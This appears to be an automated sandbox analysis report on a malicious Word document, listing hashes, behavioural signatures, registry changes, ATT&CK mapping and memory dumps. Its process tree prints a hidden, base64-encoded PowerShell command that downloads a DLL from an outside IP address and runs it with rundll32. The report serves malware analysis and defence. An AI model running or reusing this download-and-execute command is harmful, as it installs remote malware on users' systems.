9c6241b1ccd67ad4439be584bf286f2f37c247217ffb59ab7031867c517abed4

General

Target

0a4315aced819ab564058480ffeeeb059756030d8c056605f2e0c6fc88b8b2f5.doc
Size

1.5MB
MD5

3272df3f79a0fa8c2ba601c4771b99e4
SHA1

90237b6a9396828465224313f1e8d1fe32190b85
SHA256

0a4315aced819ab564058480ffeeeb059756030d8c056605f2e0c6fc88b8b2f5
SHA512

f937de508da39c0f2ee844a01bb8bb31e9f3b10ab1243a92be3239d2d18d53552759d20a498e4186a56422bda3824c994903cc228bd4bea1de4903f5c61d3827

Score

10^/10

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

WINWORD.EXE

description pid process target process

PID 1652 created 1220 1652 WINWORD.EXE Explorer.EXE
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

6 1032 powershell.exe
Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	pid	process	target process
PID 1652 created 1220	1652	WINWORD.EXE	Explorer.EXE

flow	pid	process
6	1032	powershell.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1652 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1032 powershell.exe
1032 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1032 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1652 WINWORD.EXE
1652 WINWORD.EXE

pid	process
1652	WINWORD.EXE

pid	process
1032	powershell.exe
1032	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1032	powershell.exe

pid	process
1652	WINWORD.EXE
1652	WINWORD.EXE

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

WINWORD.EXEpowershell.exe

description	pid	process	target process
PID 1652 wrote to memory of 1324	1652	WINWORD.EXE	splwow64.exe
PID 1652 wrote to memory of 1324	1652	WINWORD.EXE	splwow64.exe
PID 1652 wrote to memory of 1324	1652	WINWORD.EXE	splwow64.exe
PID 1652 wrote to memory of 1324	1652	WINWORD.EXE	splwow64.exe
PID 1652 wrote to memory of 1032	1652	WINWORD.EXE	powershell.exe
PID 1652 wrote to memory of 1032	1652	WINWORD.EXE	powershell.exe
PID 1652 wrote to memory of 1032	1652	WINWORD.EXE	powershell.exe
PID 1652 wrote to memory of 1032	1652	WINWORD.EXE	powershell.exe
PID 1032 wrote to memory of 984	1032	powershell.exe	rundll32.exe
PID 1032 wrote to memory of 984	1032	powershell.exe	rundll32.exe
PID 1032 wrote to memory of 984	1032	powershell.exe	rundll32.exe
PID 1032 wrote to memory of 984	1032	powershell.exe	rundll32.exe
PID 1032 wrote to memory of 984	1032	powershell.exe	rundll32.exe
PID 1032 wrote to memory of 984	1032	powershell.exe	rundll32.exe
PID 1032 wrote to memory of 984	1032	powershell.exe	rundll32.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1220

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0a4315aced819ab564058480ffeeeb059756030d8c056605f2e0c6fc88b8b2f5.doc"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1652

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
3⤵
PID:1324

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nop -w hidden -command $var=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('SW52b2tlLVdlYlJlcXVlc3QgLVVyaSBodHRwOi8vMTc2LjEwLjEyNS4yMzo4MDAwL2hlYWRlcmVsZW1lbnQuanBnIC1PdXRGaWxlICRlbnY6dGVtcFx3aW5zeXMuZGxsOyBydW5kbGwzMiAkZW52OnRlbXBcd2luc3lzLmRsbCxTdGFydA=='));iex $var
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1032

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\winsys.dll Start
3⤵
PID:984

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/984-91-0x0000000000000000-mapping.dmp

Download
memory/1032-69-0x0000000004A10000-0x0000000004A11000-memory.dmp

Filesize
4KB

Download
memory/1032-90-0x00000000062D0000-0x00000000062D1000-memory.dmp

Filesize
4KB

Download
memory/1032-70-0x0000000004A12000-0x0000000004A13000-memory.dmp

Filesize
4KB

Download
memory/1032-89-0x00000000062B0000-0x00000000062B1000-memory.dmp

Filesize
4KB

Download
memory/1032-65-0x0000000000000000-mapping.dmp

Download
memory/1032-66-0x00000000754F1000-0x00000000754F3000-memory.dmp

Filesize
8KB

Download
memory/1032-67-0x0000000000FC0000-0x0000000000FC1000-memory.dmp

Filesize
4KB

Download
memory/1032-71-0x0000000001090000-0x0000000001091000-memory.dmp

Filesize
4KB

Download
memory/1032-82-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/1032-81-0x0000000006190000-0x0000000006191000-memory.dmp

Filesize
4KB

Download
memory/1032-68-0x0000000004A50000-0x0000000004A51000-memory.dmp

Filesize
4KB

Download
memory/1032-72-0x00000000049A0000-0x00000000049A1000-memory.dmp

Filesize
4KB

Download
memory/1032-75-0x0000000006060000-0x0000000006061000-memory.dmp

Filesize
4KB

Download
memory/1032-80-0x00000000060D0000-0x00000000060D1000-memory.dmp

Filesize
4KB

Download
memory/1324-64-0x000007FEFB6A1000-0x000007FEFB6A3000-memory.dmp

Filesize
8KB

Download
memory/1324-63-0x0000000000000000-mapping.dmp

Download
memory/1652-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1652-93-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1652-60-0x0000000072281000-0x0000000072284000-memory.dmp

Filesize
12KB

Download
memory/1652-61-0x000000006FD01000-0x000000006FD03000-memory.dmp

Filesize
8KB

Download

Analysis

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